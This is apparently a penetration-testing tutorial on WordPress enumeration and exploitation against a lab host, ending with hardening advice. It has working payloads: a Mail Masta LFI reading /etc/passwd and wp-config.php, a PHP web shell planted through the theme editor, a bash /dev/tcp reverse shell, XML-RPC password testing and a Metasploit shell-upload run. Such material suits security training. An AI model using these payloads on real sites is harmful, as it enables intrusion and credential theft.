Skip to content

WordPress Enumeration and Exploitation

WordPress is one of the most common content management systems on the web, which also makes it a frequent target during web application assessments. A WordPress compromise usually comes from one of three areas: outdated core software, vulnerable plugins or themes, or weak administrative access controls.

For penetration testing, WordPress should be approached in stages: identify the core version, enumerate plugins and themes, discover valid users, test authentication paths, and then validate exploitable findings such as vulnerable plugins, local file inclusion, or authenticated remote code execution through the dashboard.


1. WordPress Core Version Enumeration

Identifying the WordPress core version is one of the first steps during reconnaissance. The version can often be used to search for known vulnerabilities, exposed misconfigurations, or outdated security behavior.

Meta Generator Tag

The simplest method is checking the HTML source for the meta generator tag.

curl -s http://blog.inlanefreight.com | grep '<meta name="generator"'

Example output:

<meta name="generator" content="WordPress 5.3.3" />

This directly reveals the WordPress version.


Version Disclosure in CSS and JavaScript

If the generator tag is removed, WordPress may still disclose the version in loaded CSS or JavaScript files through the ?ver= parameter.

Example CSS reference:

<link rel='stylesheet' id='bootstrap-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' type='text/css' media='all' />

Example JavaScript reference:

<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3'></script>

The ?ver=5.3.3 value may reveal the WordPress core version or the component version.


Legacy readme.html

Older WordPress installations may expose a default readme.html file in the web root.

http://blog.inlanefreight.com/readme.html

This file may disclose the installed WordPress version. Modern installations and security plugins often remove or restrict access to it, but it is still worth checking during enumeration.


2. Plugin and Theme Enumeration

Plugins and themes are often the weakest part of a WordPress installation. They are developed by third parties and may introduce vulnerabilities such as Local File Inclusion, SQL Injection, Cross-Site Scripting, arbitrary file upload, or authentication bypass.

WordPress plugins are usually stored under:

/wp-content/plugins/

Themes are usually stored under:

/wp-content/themes/

Passive Plugin Enumeration

Plugins often load JavaScript or CSS files into public pages. These paths can be scraped from the page source.

curl -s http://blog.inlanefreight.com \
  | sed 's/href=/\n/g' \
  | sed 's/src=/\n/g' \
  | grep 'wp-content/plugins/' \
  | cut -d"'" -f2

Example findings:

/wp-content/plugins/wp-google-places-review-slider/...
/wp-content/plugins/mail-masta/...

This reveals installed or active plugins.


Passive Theme Enumeration

Themes can be discovered in the same way by searching for /wp-content/themes/.

curl -s http://blog.inlanefreight.com \
  | sed 's/href=/\n/g' \
  | sed 's/src=/\n/g' \
  | grep 'themes' \
  | cut -d"'" -f2

Example finding:

/wp-content/themes/ben_theme/

Active Plugin Enumeration

Passive enumeration only reveals components loaded on the page being inspected. Some installed plugins may not load assets on the homepage. Active enumeration checks known plugin paths directly.

curl -I http://blog.inlanefreight.com/wp-content/plugins/mail-masta

A 301, 200, or 403 response can indicate that the plugin exists.

curl -I http://blog.inlanefreight.com/wp-content/plugins/fake-plugin

A 404 Not Found usually indicates that the plugin is not installed.


3. Directory Indexing

Directory indexing occurs when the web server allows users to browse directory contents directly. In WordPress, this can expose plugin folders, theme files, backups, changelogs, and disabled components.

A disabled plugin is not necessarily safe. If the plugin files remain on the server, vulnerable PHP scripts may still be directly accessible.

Example:

curl -s http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text

Directory indexing may reveal:

  • Plugin versions
  • readme.txt files
  • Backup files
  • Hidden scripts
  • Directly accessible vulnerable PHP files

The safest remediation is to delete unused plugins and themes, not merely deactivate them.


4. WordPress User Enumeration

Valid usernames are useful for password attacks, credential stuffing, and targeted phishing. WordPress commonly leaks usernames through author pages and the REST API.


Author ID Enumeration

WordPress assigns numerical IDs to users. The first administrator account is often user ID 1.

curl -s -I http://blog.inlanefreight.com/?author=1

If the user exists, WordPress may redirect to an author page:

Location: http://blog.inlanefreight.com/index.php/author/admin/

This reveals the username admin.

A non-existent user may return:

HTTP/1.1 404 Not Found

REST API User Enumeration

The WordPress REST API can expose published users through the /wp-json/wp/v2/users endpoint.

curl -s http://blog.inlanefreight.com/wp-json/wp/v2/users | jq

Useful fields include:

Field Description
id Numeric user ID
name Public display name
slug URL-friendly username value
link Author page URL

In newer WordPress versions, this endpoint generally only exposes users who have published content.


5. Brute-Forcing WordPress Logins

After valid usernames are identified, attackers may attempt password attacks against WordPress authentication endpoints.

The standard login page is:

/wp-login.php

Another high-value endpoint is:

/xmlrpc.php

XML-RPC Authentication Testing

The xmlrpc.php endpoint allows remote applications to interact with WordPress. Attackers abuse it because it may allow many credential attempts through fewer HTTP requests.

A manual credential test can be sent using the wp.getUsersBlogs method.

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php

A successful response may contain:

<member><name>isAdmin</name><value><boolean>1</boolean></value></member>

An invalid login may return:

<name>faultCode</name><value><int>403</int></value>
<name>faultString</name><value><string>Incorrect username or password.</string></value>

6. Automating WordPress Enumeration with WPScan

WPScan is the standard tool for WordPress security assessment. It can enumerate versions, users, plugins, themes, and known vulnerabilities.

Installation

gem install wpscan

WPScan is usually preinstalled on Kali Linux and Parrot OS.


Common WPScan Options

Task Flag Description
User enumeration -e u Enumerates valid usernames
All plugins -e ap Enumerates all detectable plugins
Vulnerable plugins -e vp Shows vulnerable plugins
Vulnerable themes -e vt Shows vulnerable themes
Aggressive plugin detection --plugins-detection aggressive Brute-forces plugin paths

Example scan:

wpscan --url http://blog.inlanefreight.com -e u,ap

With an API token:

wpscan --url http://blog.inlanefreight.com -e vp,vt --api-token <TOKEN>

The API token is required to map detected components to known vulnerabilities.


7. Exploiting Vulnerable Plugins: Mail Masta LFI

A common WordPress exploitation path is finding a vulnerable plugin and validating the vulnerability manually.

The Mail Masta plugin version 1.0 and below is vulnerable to unauthenticated Local File Inclusion.

Relevant vulnerability:

CVE-2016-10956

The issue exists because the plugin passes user-controlled input to a PHP include() call without proper validation.

Vulnerable path:

/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php

Vulnerable parameter:

?pl=

Reading /etc/passwd

Browser PoC:

http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

cURL PoC:

curl "http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

Example output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

This confirms file read access on the server.


LFI to Sensitive File Disclosure

If PHP wrappers are allowed, the LFI may be used to read PHP source code by Base64-encoding the output.

Example target:

wp-config.php

Payload pattern:

?pl=php://filter/convert.base64-encode/resource=../../../../wp-config.php

This can expose database credentials, authentication salts, and other sensitive WordPress configuration values.


LFI to RCE Concepts

An LFI may sometimes be escalated to Remote Code Execution if attacker-controlled content can be included as PHP.

Common escalation paths include:

Technique Idea
Log poisoning Inject PHP into web logs and include the log file
PHP filter wrappers Read source code and extract credentials
Session poisoning Place payloads in session files and include them
Uploaded file inclusion Upload a file and include it through the vulnerable parameter

These depend on server configuration, file permissions, and what files are readable through the LFI.


8. Authenticated WordPress RCE via Theme Editor

If an attacker gains administrator access to the WordPress dashboard, they may be able to execute code by editing PHP theme files.

WordPress includes a Theme Editor under:

Appearance > Theme Editor

This feature allows administrators to modify theme PHP files from the browser.


Web Shell Through Theme Editor

A common approach is to edit a non-critical file in an inactive theme, such as 404.php.

Example PHP payload:

<?php system($_GET['cmd']); ?>

After saving the file, the payload can be triggered directly:

http://blog.inlanefreight.com/wp-content/themes/twentyseventeen/404.php?cmd=id

Using cURL:

curl "http://blog.inlanefreight.com/wp-content/themes/twentyseventeen/404.php?cmd=id"

Example output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

This confirms command execution as the web server user.


Reverse Shell Upgrade

Once command execution is confirmed, the attacker may attempt to obtain an interactive shell.

Example Bash reverse shell payload:

bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'

The payload usually needs to be URL-encoded before being passed through a browser or cURL request.


9. Automating Authenticated Exploitation with Metasploit

Metasploit can automate WordPress exploitation when valid administrator credentials are available.

The common module is:

exploit/unix/webapp/wp_admin_shell_upload

This module logs in to WordPress, uploads a malicious plugin, triggers the payload, and opens a Meterpreter session.


Example Metasploit Workflow

msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS blog.inlanefreight.com
set USERNAME admin
set PASSWORD Winter2020
set LHOST 10.10.16.8
run

Successful result:

[*] Authenticating with WordPress using admin:Winter2020...
[+] Authenticated with WordPress
[*] Uploading payload...
[*] Meterpreter session 1 opened

Verify the session user:

meterpreter > getuid
Server username: www-data (33)

10. WordPress Hardening

WordPress hardening focuses on reducing attack surface, preventing credential attacks, and limiting post-authentication damage.


Keep WordPress Updated

Outdated WordPress core, plugins, and themes are a major source of compromise.

Automatic updates can be enabled in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Disable File Editing

To prevent dashboard-based RCE through the Theme Editor or Plugin Editor, add this to wp-config.php:

define( 'DISALLOW_FILE_EDIT', true );

Remove Inactive Plugins and Themes

Deactivated plugins can still expose vulnerable files. Delete unused plugins and themes entirely.


Protect Authentication

Recommended controls:

  • Do not use the default admin username
  • Enforce strong passwords
  • Enable multi-factor authentication
  • Rate-limit login attempts
  • Restrict access to /wp-login.php
  • Disable or restrict xmlrpc.php if not required

Reduce Enumeration

Recommended controls:

  • Disable public user enumeration through the REST API
  • Block ?author= redirects
  • Remove version disclosure from source code
  • Disable directory indexing
  • Restrict access to plugin and theme directories where possible

Use Security Plugins Carefully

Security plugins can add monitoring, firewall rules, and malware scanning.

Plugin Useful Features
Wordfence WAF, malware scanning, login rate limiting
Sucuri Security File integrity monitoring, blacklist checks, auditing
iThemes Security 2FA, login protection, configuration hardening

Security plugins are helpful, but they do not replace patching, least privilege, or proper server configuration.


11. Quick Reference

Objective Command / Path
Check generator tag curl -s <url> \| grep generator
Find plugins grep 'wp-content/plugins/'
Find themes grep 'wp-content/themes/'
Check plugin directory curl -I <url>/wp-content/plugins/<plugin>
Author enumeration /?author=1
REST API users /wp-json/wp/v2/users
XML-RPC endpoint /xmlrpc.php
WordPress login /wp-login.php
WPScan users/plugins wpscan --url <url> -e u,ap
Mail Masta LFI count_of_send.php?pl=/etc/passwd
Disable file editing define( 'DISALLOW_FILE_EDIT', true );